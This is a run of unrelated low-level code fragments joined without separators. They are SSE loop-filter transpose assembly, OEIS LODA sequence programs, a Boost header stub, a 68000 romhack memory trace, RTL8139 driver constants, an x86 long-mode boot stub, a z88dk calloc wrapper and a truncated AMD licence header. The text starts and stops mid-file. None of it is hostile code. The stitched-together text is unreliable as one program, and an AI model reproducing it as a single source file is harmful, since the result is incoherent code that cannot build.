xmm6, xmm0 punpcklqdq xmm0, i0 punpckhqdq xmm6, i0 movdqa xmm9, xmm7 punpcklqdq xmm7, i1 punpckhqdq xmm9, i1 movdqa xmm10, xmm4 punpcklqdq xmm4, i2 punpckhqdq xmm10, i2 movdqa xmm11, xmm3 punpcklqdq xmm3, i3 punpckhqdq xmm11, i3 movdqa xmm12, xmm1 punpcklqdq xmm1, i4 punpckhqdq xmm12, i4 movdqa xmm13, xmm8 punpcklqdq xmm8, i5 punpckhqdq xmm13, i5 movdqa xmm14, xmm2 punpcklqdq xmm2, i6 punpckhqdq xmm14, i6 movdqa xmm15, xmm5 punpcklqdq xmm5, i7 punpckhqdq xmm15, i7 movdqa i0, xmm0 movdqa i1, xmm6 movdqa i2, xmm7 movdqa i3, xmm9 movdqa i4, xmm4 movdqa i5, xmm10 movdqa i6, xmm3 movdqa i7, xmm11 movdqa i8, xmm1 movdqa i9, xmm12 movdqa i10, xmm8 movdqa i11, xmm13 movdqa i12, xmm2 movdqa i13, xmm14 movdqa i14, xmm5 movdqa i15, xmm15 ; TRANSPOSED DATA AVAILABLE ON THE STACK movdqa xmm12, xmm6 movdqa xmm13, xmm7 pxor zero, zero LF_FILTER_HEV_MASK xmm0, xmm12, xmm13, xmm9, xmm4, xmm10, xmm3, xmm11 movdqa xmm1, i2 movdqa xmm2, i3 movdqa xmm8, i4 movdqa xmm9, i5 LF_FILTER xmm1, xmm2, xmm8, xmm9, xmm0, xmm4 movdqa i2, xmm1 movdqa i3, xmm2 ; second set movdqa i4, xmm8 movdqa i5, xmm9 movdqa xmm0, i6 movdqa xmm1, i7 movdqa xmm2, i8 movdqa xmm4, i9 movdqa xmm10, i10 ; q2, will contain abs(p1-p0) movdqa xmm11, i11 LF_FILTER_HEV_MASK xmm8, xmm9, xmm0, xmm1, xmm2, xmm4, xmm10, xmm11, xmm3 movdqa xmm0, i6 movdqa xmm1, i7 movdqa xmm3, i8 movdqa xmm4, i9 LF_FILTER xmm0, xmm1, xmm3, xmm4, xmm8, xmm2 movdqa i6, xmm0 movdqa i7, xmm1 ; last set movdqa i8, xmm3 movdqa i9, xmm4 movdqa xmm0, i10 movdqa xmm1, i11 movdqa xmm2, i12 movdqa xmm8, i13 movdqa xmm9, i14 ; q2, will contain abs(p1-p0) movdqa xmm11, i15 LF_FILTER_HEV_MASK xmm3, xmm4, xmm0, xmm1, xmm2, xmm8, xmm9, xmm11, xmm10 movdqa xmm0, i10 movdqa xmm1, i11 movdqa xmm4, i12 movdqa xmm8, i13 LF_FILTER xmm0, xmm1, xmm4, xmm8, xmm3, xmm2 movdqa i10, xmm0 movdqa i11, xmm1 movdqa i12, xmm4 movdqa i13, xmm8 ; RESHUFFLE AND WRITE OUT ; 8-f movdqa xmm0, i8 movdqa xmm1, xmm0 punpcklbw xmm0, i9 ; 80 90 punpckhbw xmm1, i9 ; 88 98 movdqa xmm2, i10 movdqa xmm3, xmm2 punpcklbw xmm2, i11 ; a0 b0 punpckhbw xmm3, i11 ; a8 b8 movdqa xmm4, xmm0 punpcklwd xmm0, xmm2 ; 80 90 a0 b0 punpckhwd xmm4, xmm2 ; 84 94 a4 b4 movdqa xmm2, xmm1 punpcklwd xmm1, xmm3 ; 88 98 a8 b8 punpckhwd xmm2, xmm3 ; 8c 9c ac bc ; using xmm[0124] ; work on next 4 rows movdqa xmm3, i12 movdqa xmm5, xmm3 punpcklbw xmm3, i13 ; c0 d0 punpckhbw xmm5, i13 ; c8 d8 movdqa xmm6, i14 movdqa xmm7, xmm6 punpcklbw xmm6, i15 ; e0 f0 punpckhbw xmm7, i15 ; e8 f8 movdqa xmm8, xmm3 punpcklwd xmm3, xmm6 ; c0 d0 e0 f0 punpckhwd xmm8, xmm6 ; c4 d4 e4 f4 movdqa xmm6, xmm5 punpcklwd xmm5, xmm7 ; c8 d8 e8 f8 punpckhwd xmm6, xmm7 ; cc dc ec fc ; pull the third and fourth sets together movdqa xmm7, xmm0 punpckldq xmm0, xmm3 ; 80 90 a0 b0 c0 d0 e0 f0 punpckhdq xmm7, xmm3 ; 82 92 a2 b2 c2 d2 e2 f2 movdqa xmm3, xmm4 punpckldq xmm4, xmm8 ; 84 94 a4 b4 c4 d4 e4 f4 punpckhdq xmm3, xmm8 ; 86 96 a6 b6 c6 d6 e6 f6 movdqa xmm8, xmm1 punpckldq xmm1, xmm5 ; 88 88 a8 b8 c8 d8 e8 f8 punpckhdq xmm8, xmm5 ; 8a 9a aa ba ca da ea fa movdqa xmm5, xmm2 punpckldq xmm2, xmm6 ; 8c 9c ac bc cc dc ec fc punpckhdq xmm5, xmm6 ; 8e 9e ae be ce de ee fe ; save the calculations. we only have 15 registers ... movdqa i8, xmm0 movdqa i9, xmm7 movdqa i10, xmm4 movdqa i11, xmm3 movdqa i12, xmm1 movdqa i13, xmm8 movdqa i14, xmm2 movdqa i15, xmm5 ; 0-7 movdqa xmm0, i0 movdqa xmm1, xmm0 punpcklbw xmm0, i1 ; 00 10 punpckhbw xmm1, i1 ; 08 18 movdqa xmm2, i2 movdqa xmm3, xmm2 punpcklbw xmm2, i3 ; 20 30 punpckhbw xmm3, i3 ; 28 38 movdqa xmm4, xmm0 punpcklwd xmm0, xmm2 ; 00 10 20 30 punpckhwd xmm4, xmm2 ; 04 14 24 34 movdqa xmm2, xmm1 punpcklwd xmm1, xmm3 ; 08 18 28 38 punpckhwd xmm2, xmm3 ; 0c 1c 2c 3c ; using xmm[0124] ; work on next 4 rows movdqa xmm3, i4 movdqa xmm5, xmm3 punpcklbw xmm3, i5 ; 40 50 punpckhbw xmm5, i5 ; 48 58 movdqa xmm6, i6 movdqa xmm7, xmm6 punpcklbw xmm6, i7 ; 60 70 punpckhbw xmm7, i7 ; 68 78 movdqa xmm8, xmm3 punpcklwd xmm3, xmm6 ; 40 50 60 70 punpckhwd xmm8, xmm6 ; 44 54 64 74 movdqa xmm6, xmm5 punpcklwd xmm5, xmm7 ; 48 58 68 78 punpckhwd xmm6, xmm7 ; 4c 5c 6c 7c ; pull the first two sets together movdqa xmm7, xmm0 punpckldq xmm0, xmm3 ; 00 10 20 30 40 50 60 70 punpckhdq xmm7, xmm3 ; 02 12 22 32 42 52 62 72 movdqa xmm3, xmm4 punpckldq xmm4, xmm8 ; 04 14 24 34 44 54 64 74 punpckhdq xmm3, xmm8 ; 06 16 26 36 46 56 66 76 movdqa xmm8, xmm1 punpckldq xmm1, xmm5 ; 08 18 28 38 48 58 68 78 punpckhdq xmm8, xmm5 ; 0a 1a 2a 3a 4a 5a 6a 7a movdqa xmm5, xmm2 punpckldq xmm2, xmm6 ; 0c 1c 2c 3c 4c 5c 6c 7c punpckhdq xmm5, xmm6 ; 0e 1e 2e 3e 4e 5e 6e 7e ; final combination movdqa xmm6, xmm0 punpcklqdq xmm0, i8 punpckhqdq xmm6, i8 movdqa xmm9, xmm7 punpcklqdq xmm7, i9 punpckhqdq xmm9, i9 movdqa xmm10, xmm4 punpcklqdq xmm4, i10 punpckhqdq xmm10, i10 movdqa xmm11, xmm3 punpcklqdq xmm3, i11 punpckhqdq xmm11, i11 movdqa xmm12, xmm1 punpcklqdq xmm1, i12 punpckhqdq xmm12, i12 movdqa xmm13, xmm8 punpcklqdq xmm8, i13 punpckhqdq xmm13, i13 movdqa xmm14, xmm2 punpcklqdq xmm2, i14 punpckhqdq xmm14, i14 movdqa xmm15, xmm5 punpcklqdq xmm5, i15 punpckhqdq xmm15, i15 movdqa s0, xmm0 movdqa s1, xmm6 movdqa s2, xmm7 movdqa s3, xmm9 movdqa s4, xmm4 movdqa s5, xmm10 movdqa s6, xmm3 movdqa s7, xmm11 movdqa s8, xmm1 movdqa s9, xmm12 movdqa s10, xmm8 movdqa s11, xmm13 movdqa s12, xmm2 movdqa s13, xmm14 movdqa s14, xmm5 movdqa s15, xmm15 ; free stack space add rsp, stack_size ; un-ALIGN_STACK pop rsp %ifidn __OUTPUT_FORMAT__,x64 pop r13 pop r12 RESTORE_XMM pop rbp %endif ret SECTION_RODATA align 16 te0: times 16 db 0xe0 align 16 t7f: times 16 db 0x7f align 16 tfe: times 16 db 0xfe align 16 t1f: times 16 db 0x1f align 16 t80: times 16 db 0x80 align 16 t1: times 16 db 0x01 align 16 t3: times 16 db 0x03 align 16 t4: times 16 db 0x04
; A209294: a(n) = (7*n^2 - 7*n + 4)/2. ; 2,9,23,44,72,107,149,198,254,317,387,464,548,639,737,842,954,1073,1199,1332,1472,1619,1773,1934,2102,2277,2459,2648,2844,3047,3257,3474,3698,3929,4167,4412,4664,4923,5189,5462,5742,6029,6323,6624,6932,7247,7569,7898,8234,8577,8927,9284,9648,10019,10397,10782,11174,11573,11979,12392,12812,13239,13673,14114,14562,15017,15479,15948,16424,16907,17397,17894,18398,18909,19427,19952,20484,21023,21569,22122,22682,23249,23823,24404,24992,25587,26189,26798,27414,28037,28667,29304,29948,30599,31257,31922,32594,33273,33959,34652,35352,36059,36773,37494,38222,38957,39699,40448,41204,41967,42737,43514,44298,45089,45887,46692,47504,48323,49149,49982,50822,51669,52523,53384,54252,55127,56009,56898,57794,58697,59607,60524,61448,62379,63317,64262,65214,66173,67139,68112,69092,70079,71073,72074,73082,74097,75119,76148,77184,78227,79277,80334,81398,82469,83547,84632,85724,86823,87929,89042,90162,91289,92423,93564,94712,95867,97029,98198,99374,100557,101747,102944,104148,105359,106577,107802,109034,110273,111519,112772,114032,115299,116573,117854,119142,120437,121739,123048,124364,125687,127017,128354,129698,131049,132407,133772,135144,136523,137909,139302,140702,142109,143523,144944,146372,147807,149249,150698,152154,153617,155087,156564,158048,159539,161037,162542,164054,165573,167099,168632,170172,171719,173273,174834,176402,177977,179559,181148,182744,184347,185957,187574,189198,190829,192467,194112,195764,197423,199089,200762,202442,204129,205823,207524,209232,210947,212669,214398,216134,217877 sub $1,$0 bin $1,2 mul $1,7 add $1,2
// (C) Copyright John Maddock 2005. // Use, modification and distribution are subject to the // Boost Software License, Version 1.0. (See accompanying file // LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt) #include <list>
; A081013: a(n) = Fibonacci(4*n+3) - 2, or Fibonacci(2*n)*Lucas(2*n+3). ; 0,11,87,608,4179,28655,196416,1346267,9227463,63245984,433494435,2971215071,20365011072,139583862443,956722026039,6557470319840,44945570212851,308061521170127,2111485077978048,14472334024676219,99194853094755495,679891637638612256,4660046610375530307,31940434634990099903,218922995834555169024,1500520536206896083275,10284720757613717413911,70492524767089125814112,483162952612010163284883,3311648143516982017180079,22698374052006863956975680,155576970220531065681649691,1066340417491710595814572167 mul $0,2 lpb $0 sub $0,1 add $2,2 add $1,$2 add $1,1 add $2,$1 lpe mov $0,$1
copyright zengfr site:http://github.com/zengfr/romhack 00042A move.l D1, (A0)+ 00042C dbra D0, $42a 004D3E move.l D0, (A4)+ 004D40 dbra D1, $4d38 010980 cmp.b ($5e,A3), D0 [123p+ 5E] 010984 beq $109aa [enemy+5E] 0109CA move.b ($5e,A2), ($5e,A3) 0109D0 move.b ($2,A2), ($2,A3) [enemy+5E] 010FD0 cmp.b ($5e,A3), D0 [item+5E] 010FD4 beq $10fe6 [enemy+5E] 011024 move.b ($5e,A2), ($5e,A3) 01102A move.b ($2,A2), ($2,A3) [enemy+5E] 011364 cmp.b ($5e,A3), D0 011368 beq $1137a [enemy+5E] 0113B2 move.b ($5e,A2), ($5e,A3) 0113B8 move.b ($2,A2), ($2,A3) [enemy+5E] 011652 move.b ($5e,A2), D2 011656 cmp.b ($e9,A3), D2 [enemy+5E] 0118E0 move.b ($5e,A2), ($5e,A3) [enemy+ 0] 0118E6 move.b ($2,A2), ($2,A3) [enemy+5E] 011AF6 cmp.b ($5e,A3), D0 [123p+ 5E] 011AFA beq $11b20 [enemy+5E] 011B3E move.b ($5e,A2), ($5e,A3) 011B44 move.b ($2,A2), ($2,A3) [enemy+5E] 011D6A move.b ($5e,A2), D2 011D6E cmp.b ($e9,A3), D2 [enemy+5E] 011E9C move.b ($5e,A2), D0 011EA0 cmp.b ($5e,A3), D0 [enemy+5E] 011EA4 beq $11eca [enemy+5E] 011EE4 move.b ($5e,A2), ($5e,A3) 011EEA move.b #$2, ($0,A3) [enemy+5E] 01223E move.b ($5e,A2), ($5e,A3) 012244 move.b ($2,A2), ($2,A3) [enemy+5E] 0123A8 move.b ($5e,A2), ($5e,A3) 0123AE move.b ($2,A2), ($2,A3) [enemy+5E] 01247C move.b ($5e,A2), D0 012480 cmp.b ($5e,A3), D0 [enemy+5E] 012530 move.b ($5e,A6), ($5e,A3) [enemy+68] 012536 move.b ($2,A6), ($2,A3) [enemy+5E] 03443C move.b ($67be,A5), ($5e,A6) [enemy+59] 034442 addq.b #1, ($67be,A5) [enemy+5E] 034482 move.b ($67be,A5), ($5e,A6) 034488 addq.b #1, ($67be,A5) [enemy+5E] 034704 move.b ($67be,A5), ($5e,A6) [enemy+59] 03470A addq.b #1, ($67be,A5) [enemy+5E] 036112 move.b ($67be,A5), ($5e,A6) 036118 addq.b #1, ($67be,A5) [enemy+5E] 03613C move.b ($67be,A5), ($5e,A6) 036142 addq.b #1, ($67be,A5) [enemy+5E] 03617E move.b ($67be,A5), ($5e,A6) 036184 addq.b #1, ($67be,A5) [enemy+5E] 03619E move.b ($67be,A5), ($5e,A6) 0361A4 addq.b #1, ($67be,A5) [enemy+5E] 0361F2 move.b ($67be,A5), ($5e,A6) 0361F8 addq.b #1, ($67be,A5) [enemy+5E] 036212 move.b ($67be,A5), ($5e,A6) 036218 addq.b #1, ($67be,A5) [enemy+5E] 03674E move.b ($67be,A5), ($5e,A6) 036754 addq.b #1, ($67be,A5) [enemy+5E] 036794 move.b ($67be,A5), ($5e,A6) 03679A addq.b #1, ($67be,A5) [enemy+5E] 0367B4 move.b ($67be,A5), ($5e,A6) 0367BA addq.b #1, ($67be,A5) [enemy+5E] 03B30A move.b ($67be,A5), ($5e,A6) 03B310 addq.b #1, ($67be,A5) [enemy+5E] 03B346 move.b ($67be,A5), ($5e,A6) 03B34C addq.b #1, ($67be,A5) [enemy+5E] 03B384 move.b ($67be,A5), ($5e,A6) 03B38A addq.b #1, ($67be,A5) [enemy+5E] 03B3A8 move.b ($67be,A5), ($5e,A6) 03B3AE addq.b #1, ($67be,A5) [enemy+5E] 03B3C8 move.b ($67be,A5), ($5e,A6) 03B3CE addq.b #1, ($67be,A5) [enemy+5E] 03B416 move.b ($67be,A5), ($5e,A6) 03B41C addq.b #1, ($67be,A5) [enemy+5E] 03B438 move.b ($67be,A5), ($5e,A6) 03B43E addq.b #1, ($67be,A5) [enemy+5E] 03B45A move.b ($67be,A5), ($5e,A6) 03B460 addq.b #1, ($67be,A5) [enemy+5E] 03B516 move.b ($67be,A5), ($5e,A6) 03B51C addq.b #1, ($67be,A5) [enemy+5E] 03C27C move.b ($67be,A5), ($5e,A6) 03C282 addq.b #1, ($67be,A5) [enemy+5E] 03C2D0 move.b ($67be,A5), ($5e,A6) 03C2D6 addq.b #1, ($67be,A5) [enemy+5E] 03C376 move.b ($67be,A5), ($5e,A6) 03C37C addq.b #1, ($67be,A5) [enemy+5E] 03C50E move.b ($67be,A5), ($5e,A6) 03C514 addq.b #1, ($67be,A5) [enemy+5E] 03EC8A move.b ($67be,A5), ($5e,A6) 03EC90 addq.b #1, ($67be,A5) [enemy+5E] 03EE98 move.b ($67be,A5), ($5e,A6) 03EE9E addq.b #1, ($67be,A5) [enemy+5E] 03EF0E move.b ($67be,A5), ($5e,A6) 03EF14 addq.b #1, ($67be,A5) [enemy+5E] 03F864 move.b ($67be,A5), ($5e,A6) 03F86A addq.b #1, ($67be,A5) [enemy+5E] 03F89C move.b ($67be,A5), ($5e,A6) 03F8A2 addq.b #1, ($67be,A5) [enemy+5E] 03F9AA move.b ($67be,A5), ($5e,A6) 03F9B0 addq.b #1, ($67be,A5) [enemy+5E] 03FA0E move.b ($67be,A5), ($5e,A6) 03FA14 addq.b #1, ($67be,A5) [enemy+5E] 040E36 move.b ($67be,A5), ($5e,A6) 040E3C addq.b #1, ($67be,A5) [enemy+5E] 041490 move.b ($67be,A5), ($5e,A6) 041496 addq.b #1, ($67be,A5) [enemy+5E] 0414D6 move.b ($67be,A5), ($5e,A6) 0414DC addq.b #1, ($67be,A5) [enemy+5E] 04157E move.b ($67be,A5), ($5e,A6) 041584 addq.b #1, ($67be,A5) [enemy+5E] 0415B8 move.b ($67be,A5), ($5e,A6) 0415BE addq.b #1, ($67be,A5) [enemy+5E] 0415D8 move.b ($67be,A5), ($5e,A6) 0415DE addq.b #1, ($67be,A5) [enemy+5E] 041872 move.b ($67be,A5), ($5e,A6) 041878 addq.b #1, ($67be,A5) [enemy+5E] 041A0A move.b ($67be,A5), ($5e,A6) 041A10 addq.b #1, ($67be,A5) [enemy+5E] 04221E move.b ($67be,A5), ($5e,A6) 042224 addq.b #1, ($67be,A5) [enemy+5E] 043180 move.b ($67be,A5), ($5e,A6) 043186 addq.b #1, ($67be,A5) [enemy+5E] 043228 move.b ($67be,A5), ($5e,A6) 04322E addq.b #1, ($67be,A5) [enemy+5E] 043622 move.b ($67be,A5), ($5e,A6) 043628 addq.b #1, ($67be,A5) [enemy+5E] 04366C move.b ($67be,A5), ($5e,A6) [enemy+59] 043672 addq.b #1, ($67be,A5) [enemy+5E] 0464C6 move.b ($67be,A5), ($5e,A6) 0464CC addq.b #1, ($67be,A5) [enemy+5E] 04650C move.b ($67be,A5), ($5e,A6) 046512 addq.b #1, ($67be,A5) [enemy+5E] 0465AA move.b ($67be,A5), ($5e,A6) 0465B0 addq.b #1, ($67be,A5) [enemy+5E] 048B86 move.b ($67be,A5), ($5e,A6) 048B8C addq.b #1, ($67be,A5) [enemy+5E] 048BC4 move.b ($67be,A5), ($5e,A6) 048BCA addq.b #1, ($67be,A5) [enemy+5E] 04E320 move.b ($67be,A5), ($5e,A6) 04E326 addq.b #1, ($67be,A5) [enemy+5E] 04E958 move.b ($67be,A5), ($5e,A6) 04E95E addq.b #1, ($67be,A5) [enemy+5E] 04FFCC move.b ($67be,A5), ($5e,A6) 04FFD2 addq.b #1, ($67be,A5) [enemy+5E] 053648 move.b ($67be,A5), ($5e,A6) 05364E addq.b #1, ($67be,A5) [enemy+5E] 0559B4 move.b ($67be,A5), ($5e,A6) 0559BA addq.b #1, ($67be,A5) [enemy+5E] 055B92 move.b ($67be,A5), ($5e,A6) 055B98 addq.b #1, ($67be,A5) [enemy+5E] 057FE2 move.b ($67be,A5), ($5e,A6) 057FE8 addq.b #1, ($67be,A5) [enemy+5E] 058020 move.b ($67be,A5), ($5e,A6) 058026 addq.b #1, ($67be,A5) [enemy+5E] 0580F4 move.b ($67be,A5), ($5e,A6) 0580FA addq.b #1, ($67be,A5) [enemy+5E] 059228 move.b ($67be,A5), ($5e,A6) 05922E addq.b #1, ($67be,A5) [enemy+5E] 05949A move.b ($67be,A5), ($5e,A6) 0594A0 addq.b #1, ($67be,A5) [enemy+5E] 0594BA move.b ($67be,A5), ($5e,A6) 0594C0 addq.b #1, ($67be,A5) [enemy+5E] 059DA6 move.b ($67be,A5), ($5e,A6) 059DAC addq.b #1, ($67be,A5) [enemy+5E] 059DF6 move.b ($67be,A5), ($5e,A6) 059DFC addq.b #1, ($67be,A5) [enemy+5E] 059F1C move.b ($67be,A5), ($5e,A6) 059F22 addq.b #1, ($67be,A5) [enemy+5E] 059F60 move.b ($67be,A5), ($5e,A6) 059F66 addq.b #1, ($67be,A5) [enemy+5E] 05A4DC move.b ($67be,A5), ($5e,A6) 05A4E2 addq.b #1, ($67be,A5) [enemy+5E] 05A662 move.b ($67be,A5), ($5e,A6) 05A668 addq.b #1, ($67be,A5) [enemy+5E] 05AE52 move.b ($67be,A5), ($5e,A6) 05AE58 addq.b #1, ($67be,A5) [enemy+5E] 05B98C move.b ($67be,A5), ($5e,A6) 05B992 addq.b #1, ($67be,A5) [enemy+5E] 05C434 move.b ($67be,A5), ($5e,A6) 05C43A addq.b #1, ($67be,A5) [enemy+5E] 05FA12 move.b ($67be,A5), ($5e,A6) 05FA18 addq.b #1, ($67be,A5) [enemy+5E] 06A238 move.b ($67be,A5), ($5e,A6) 06A23E addq.b #1, ($67be,A5) [enemy+5E] 0AAACA move.l (A0), D2 0AAACC move.w D0, (A0) [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1] 0AAACE move.w D0, ($2,A0) 0AAAD2 cmp.l (A0), D0 0AAAD4 bne $aaafc 0AAAD8 move.l D2, (A0)+ 0AAADA cmpa.l A0, A1 [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1] 0AAAE6 move.l (A0), D2 0AAAE8 move.w D0, (A0) [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1] 0AAAF4 move.l D2, (A0)+ 0AAAF6 cmpa.l A0, A1 [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1] copyright zengfr site:http://github.com/zengfr/romhack
; RTL8139 Network Driver for xOS ; Copyright (c) 2017 by Omar Mohammad RTL8139_MAC_ADDRESS = 0x00 ; 6 bytes RTL8139_MULTICAST_ADDRESS = 0x08 ; 8 bytes RTL8139_TRANSMIT_STATUS = 0x10 ; 4 dwords RTL8139_TRANSMIT_START = 0x20 ; 4 dwords RTL8139_RX_START = 0x30 ; dword RTL8139_COMMAND = 0x37 ; byte RTL8139_RX_CURRENT_ADDRESS = 0x38 ; word RTL8139_RX_COUNT = 0x3A ; word RTL8139_INTERRUPT_MASK = 0x3C ; word RTL8139_INTERRUPT_STATUS = 0x3E ; word RTL8139_TRANSMIT_CONFIG = 0x40 ; dword RTL8139_RECEIVE_CONFIG = 0x44 ; dword RTL8139_CONFIG1 = 0x52 ; byte ; Transmit Status Register RTL8139_TRANSMIT_STATUS_OK = 0x00008000 RTL8139_TRANSMIT_STATUS_OWN = 0x00002000 ; Command Register RTL8139_COMMAND_EMPTY = 0x01 RTL8139_COMMAND_TRANSMIT = 0x04 RTL8139_COMMAND_RECEIVE = 0x08 RTL8139_COMMAND_RESET = 0x10 ; Interrupt Mask and Status Registers RTL8139_INTERRUPT_RECEIVE_OK = 0x0001 RTL8139_INTERRUPT_RECEIVE_ERROR = 0x0002 RTL8139_INTERRUPT_TRANSMIT_OK = 0x0004 RTL8139_INTERRUPT_TRANSMIT_ERROR = 0x0008 RTL8139_INTERRUPT_RX_OVERFLOW = 0x0010 RTL8139_INTERRUPT_PACKET_UNDERRUN = 0x0020 RTL8139_INTERRUPT_FIFO_OVERFLOW = 0x0040 RTL8139_INTERRUPT_LENGTH_CHANGE = 0x2000 RTL8139_INTERRUPT_TIMEOUT = 0x4000 RTL8139_INTERRUPT_SYSTEM_ERROR = 0x8000 ; Transmit Configuration Register RTL8139_TRANSMIT_CONFIG_CRC = 0x00010000 ; Receive Configuration Register RTL8139_RECEIVE_CONFIG_ACCEPT_ALL = 0x00000001 RTL8139_RECEIVE_CONFIG_ACCEPT_PHYSICAL = 0x00000002 RTL8139_RECEIVE_CONFIG_ACCEPT_MULTICAST = 0x00000004 RTL8139_RECEIVE_CONFIG_ACCEPT_BROADCAST = 0x00000008 RTL8139_RECEIVE_CONFIG_ACCEPT_RUNT = 0x00000010 RTL8139_RECEIVE_CONFIG_ACCEPT_ERROR = 0x00000020 RTL8139_RECEIVE_CONFIG_WRAP = 0x00000080
global start extern long_mode_start section .text bits 32 start: mov esp, stack_top mov edi, ebx ; Move Multiboot pointer to edi call test_multiboot call test_cpuid call test_long_mode call setup_page_tables call enable_paging ; load the 64-bit GDT lgdt [gdt64.pointer] ; update selectors mov ax, gdt64.data mov ss, ax ; stack selector mov ds, ax ; data selector mov es, ax ; extra selector jmp gdt64.code:long_mode_start setup_page_tables: ; map first P4 entry to P3 table mov eax, p3_table or eax, 0b11 ; present + writable mov [p4_table], eax ; map first P3 entry to P2 table mov eax, p2_table or eax, 0b11 ; present + writable mov [p3_table], eax ; map each P2 entry to a huge 2MiB page mov ecx, 0 ; counter variable .map_p2_table: ; map ecx-th P2 entry to a huge page that starts at address 2MiB*ecx mov eax, 0x200000 ; 2MiB mul ecx ; start address of ecx-th page or eax, 0b10000011 ; present + writable + huge mov [p2_table + ecx * 8], eax ; map ecx-th entry inc ecx ; increase counter cmp ecx, 512 ; if counter == 512, the whole P2 table is mapped jne .map_p2_table ; else map the next entry ret enable_paging: ; load P4 to cr3 register (cpu uses this to access the P4 table) mov eax, p4_table mov cr3, eax ; enable PAE-flag in cr4 (Physical Address Extension) mov eax, cr4 or eax, 1 << 5 mov cr4, eax ; set the long mode bit in the EFER MSR (model specific register) mov ecx, 0xC0000080 rdmsr or eax, 1 << 8 wrmsr ; enable paging in the cr0 register mov eax, cr0 or eax, 1 << 31 or eax, 1 << 16 mov cr0, eax ret ; Prints `ERR: ` and the given error code to screen and hangs. ; parameter: error code (in ascii) in al error: mov dword [0xb8000], 0x4f524f45 mov dword [0xb8004], 0x4f3a4f52 mov dword [0xb8008], 0x4f204f20 mov byte [0xb800a], al hlt test_multiboot: cmp eax, 0x36d76289 jne .no_multiboot ret .no_multiboot: mov al, "0" jmp error test_cpuid: pushfd ; Store the FLAGS-register. pop eax ; Restore the A-register. mov ecx, eax ; Set the C-register to the A-register. xor eax, 1 << 21 ; Flip the ID-bit, which is bit 21. push eax ; Store the A-register. popfd ; Restore the FLAGS-register. pushfd ; Store the FLAGS-register. pop eax ; Restore the A-register. push ecx ; Store the C-register. popfd ; Restore the FLAGS-register. xor eax, ecx ; Do a XOR-operation on the A-register and the C-register. jz .no_cpuid ; The zero flag is set, no CPUID. ret ; CPUID is available for use. .no_cpuid: mov al, "1" jmp error test_long_mode: mov eax, 0x80000000 ; Set the A-register to 0x80000000. cpuid ; CPU identification. cmp eax, 0x80000001 ; Compare the A-register with 0x80000001. jb .no_long_mode ; It is less, there is no long mode. mov eax, 0x80000001 ; Set the A-register to 0x80000001. cpuid ; CPU identification. test edx, 1 << 29 ; Test if the LM-bit, which is bit 29, is set in the D-register. jz .no_long_mode ; They aren't, there is no long mode. ret .no_long_mode: mov al, "2" jmp error section .rodata gdt64: dq 0 ; zero entry .code: equ $ - gdt64 dq (1<<44) | (1<<47) | (1<<41) | (1<<43) | (1<<53) ; code segment .data: equ $ - gdt64 dq (1<<44) | (1<<47) | (1<<41) ; data segment .pointer: dw $ - gdt64 - 1 dq gdt64 section .bss align 4096 p4_table: resb 4096 p3_table: resb 4096 p2_table: resb 4096 stack_bottom: resb 4096 stack_top:
; void *heap_calloc(void *heap, size_t nmemb, size_t size) INCLUDE "config_private.inc" SECTION code_clib SECTION code_alloc_malloc ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; IF __CLIB_OPT_MULTITHREAD & $01 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; PUBLIC heap_calloc_callee EXTERN asm_heap_calloc heap_calloc_callee: pop af pop bc pop hl pop de push af jp asm_heap_calloc ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ELSE ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; PUBLIC heap_calloc_callee EXTERN heap_calloc_unlocked_callee defc heap_calloc_callee = heap_calloc_unlocked_callee ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ENDIF ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
/* Copyright (c) 2021 Advanced Micro Devices, Inc. All rights reserved. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ #pragma once // We haven't checked which filesystem to include yet #ifndef INCLUDE_STD_FILESYSTEM_EXPERIMENTAL // Check for feature test macro for 